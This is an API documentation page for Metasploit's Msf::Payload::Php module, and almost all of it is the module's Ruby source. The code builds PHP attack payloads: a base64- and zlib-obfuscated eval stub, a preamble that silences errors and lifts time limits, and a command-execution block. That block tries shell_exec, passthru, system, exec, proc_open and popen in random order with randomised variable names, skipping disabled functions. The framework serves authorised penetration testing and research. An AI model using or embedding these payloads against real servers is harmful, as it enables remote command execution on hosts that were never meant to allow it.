Module: Msf::Payload::Php

Included in:
Exploit::PhpEXE, BindTcp
Defined in:
lib/msf/core/payload/php.rb

Defined Under Namespace

Modules: BindTcp, ReverseTcp, SendUUID

Class Method Summary collapse

Instance Method Summary collapse

Class Method Details

.create_exec_stub(php_code, options = {}) ⇒ Object 



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# File 'lib/msf/core/payload/php.rb', line 168

def self.create_exec_stub(php_code, options = {})
  payload = Rex::Text.encode_base64(Rex::Text.zlib_deflate(php_code))
  b64_stub = "eval(gzuncompress(base64_decode('#{payload}')));"
  b64_stub = "<?php #{b64_stub} ?>" if options.fetch(:wrap_in_tags, true)
  b64_stub
end

.preamble(options = {}) ⇒ String

Generate a chunk of PHP code that should be eval’d before #php_system_block.

The generated code will initialize

Parameters:

  • options (Hash) (defaults to: {}) —

    a customizable set of options

Options Hash (options):

  • :disabled_varname (String) —

    PHP variable name in which to store an array of disabled functions.

Returns:

  • (String) —

    A chunk of PHP code



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# File 'lib/msf/core/payload/php.rb', line 19

def self.preamble(options = {})
  vars = options.fetch(:vars_generator) { Rex::RandomIdentifier::Generator.new(language: :php) }

  dis = options[:disabled_varname] || vars[:disabled_varname]
  dis = "$#{dis}" unless dis.start_with?('$')

  # Canonicalize the list of disabled functions to facilitate choosing a
  # system-like function later.
  <<~TEXT
    /*<?php /**/
    @error_reporting(0);@set_time_limit(0);@ignore_user_abort(1);@ini_set('max_execution_time',0);
    #{dis}=@ini_get('disable_functions');
    if(!empty(#{dis})){
      #{dis}=preg_replace('/[, ]+/',',',#{dis});
      #{dis}=explode(',',#{dis});
      #{dis}=array_map('trim',#{dis});
    }else{
      #{dis}=array();
    }
  TEXT
end

.system_block(options = {}) ⇒ String

Generate a chunk of PHP code that tries to run a command.

Parameters:

  • options (Hash) (defaults to: {}) —

    a customizable set of options

Options Hash (options):

  • :cmd_varname (String) —

    PHP variable name containing the command to run

  • :disabled_varname (String) —

    PHP variable name containing an array of disabled functions. See #php_preamble

  • :output_varname (String) —

    PHP variable name in which to store the output of the command. Will contain 0 if no exec functions work.

Returns:

  • (String) —

    A chunk of PHP code that, with a little luck, will run a command.



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# File 'lib/msf/core/payload/php.rb', line 59

def self.system_block(options = {})
  vars = options.fetch(:vars_generator) { Rex::RandomIdentifier::Generator.new(language: :php) }

  cmd = options[:cmd_varname] || vars[:cmd_varname]
  dis = options[:disabled_varname] || vars[:disabled_varname]
  output = options[:output_varname] || vars[:output_varname]

  cmd    = '$' + cmd unless cmd.start_with?('$')
  dis    = '$' + dis unless dis.start_with?('$')
  output = '$' + output unless output.start_with?('$')

  is_callable = vars[:is_callable_varname]
  in_array    = vars[:in_array_varname]

  setup = ''
  if options[:cmd]
    setup << <<~TEXT
      #{cmd}=base64_decode('#{Rex::Text.encode_base64(options[:cmd])}');
    TEXT
  end
  setup << <<~TEXT
    if (FALSE!==stristr(PHP_OS,'win')){
      #{cmd}=#{cmd}.\" 2>&1\\n\";
    }
    #{is_callable}='is_callable';
    #{in_array}='in_array';
  TEXT
  shell_exec = <<~TEXT
    if(#{is_callable}('shell_exec')&&!#{in_array}('shell_exec',#{dis})){
      #{output}=`#{cmd}`;
    }else
  TEXT
  passthru = <<~TEXT
    if(#{is_callable}('passthru')&&!#{in_array}('passthru',#{dis})){
      ob_start();
      passthru(#{cmd});
      #{output}=ob_get_contents();
      ob_end_clean();
    }else
  TEXT
  system = <<~TEXT
    if(#{is_callable}('system')&&!#{in_array}('system',#{dis})){
      ob_start();
      system(#{cmd});
      #{output}=ob_get_contents();
      ob_end_clean();
    }else
  TEXT
  exec = <<~TEXT
    if(#{is_callable}('exec')&&!#{in_array}('exec',#{dis})){
      #{output}=array();
      exec(#{cmd},#{output});
      #{output}=join(chr(10),#{output}).chr(10);
    }else
  TEXT
  proc_open = <<~TEXT
    if(#{is_callable}('proc_open')&&!#{in_array}('proc_open',#{dis})){
      $handle=proc_open(#{cmd},array(array('pipe','r'),array('pipe','w'),array('pipe','w')),$pipes);
      #{output}=NULL;
      while(!feof($pipes[1])){
        #{output}.=fread($pipes[1],1024);
      }
      @proc_close($handle);
    }else
  TEXT
  popen = <<~TEXT
    if(#{is_callable}('popen')&&!#{in_array}('popen',#{dis})){
      $fp=popen(#{cmd},'r');
      #{output}=NULL;
      if(is_resource($fp)){
        while(!feof($fp)){
          #{output}.=fread($fp,1024);
        }
      }
      @pclose($fp);
    }else
  TEXT
  # Currently unused until we can figure out how to get output with COM
  # objects (which are not subject to safe mode restrictions) instead of
  # PHP functions.
  #win32_com = "
  #	if (FALSE !== strpos(strtolower(PHP_OS), 'win' )) {
  #		$wscript = new COM('Wscript.Shell');
  #		$wscript->run(#{cmd} . ' > %TEMP%\\out.txt');
  #		#{output} = file_get_contents('%TEMP%\\out.txt');
  #	}else"
  fail_block = <<~TEXT
    {
      #{output}=0;
    }
  TEXT

  exec_methods = [passthru, shell_exec, system, exec, proc_open, popen]
  exec_methods = exec_methods.shuffle
  setup + exec_methods.join("") + fail_block
end

Instance Method Details

#php_create_exec_stub(php_code) ⇒ Object 



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# File 'lib/msf/core/payload/php.rb', line 175

def php_create_exec_stub(php_code)
  Msf::Payload::PHP.create_exec_stub(php_code)
end

#php_exec_cmd(cmd) ⇒ Object 



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# File 'lib/msf/core/payload/php.rb', line 160

def php_exec_cmd(cmd)
  vars = Rex::RandomIdentifier::Generator.new(language: :php)
  <<-END_OF_PHP_CODE
    #{php_preamble(vars_generator: vars)}
    #{php_system_block(vars_generator: vars, cmd: cmd)}
  END_OF_PHP_CODE
end

#php_preamble(options = {}) ⇒ Object 



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# File 'lib/msf/core/payload/php.rb', line 41

def php_preamble(options = {})
  Msf::Payload::Php.preamble(options)
end

#php_system_block(options = {}) ⇒ Object 



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# File 'lib/msf/core/payload/php.rb', line 156

def php_system_block(options = {})
  Msf::Payload::Php.system_block(options)
end